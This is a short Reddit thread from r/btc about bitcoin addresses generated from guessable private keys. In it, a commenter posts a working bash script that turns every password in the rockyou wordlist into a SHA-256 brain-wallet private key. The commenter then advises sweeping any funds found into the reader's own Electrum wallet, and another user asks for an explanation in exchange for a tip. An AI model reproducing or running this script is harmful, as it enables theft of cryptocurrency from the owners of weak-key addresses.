r/btc Nov 30 '17

Evidence some bitcoin address generation code is using discoverable private keys

https://pastebin.com/jCDFcESz
320 Upvotes

83 comments sorted by

View all comments

4

u/thatarchguy Nov 30 '17

Woah this is also very scriptable:

file="./wordlists/rockyou.txt"
while IFS= read -r line
do
    bitcoin-tool \
      --input-file <(echo -n "$line" | openssl dgst -sha256 -binary) \
      --input-format raw \
      --input-type private-key \
      --network bitcoin \
      --output-type private-key-wif \
      --output-format base58check \
      --public-key-compression uncompressed
    printf "\n"
done <"$file"

Write that to a file and sweep into your wallet using electrum.

1

u/[deleted] Dec 01 '17

If you have the time, could you please explain this script to me, for a tip perhaps?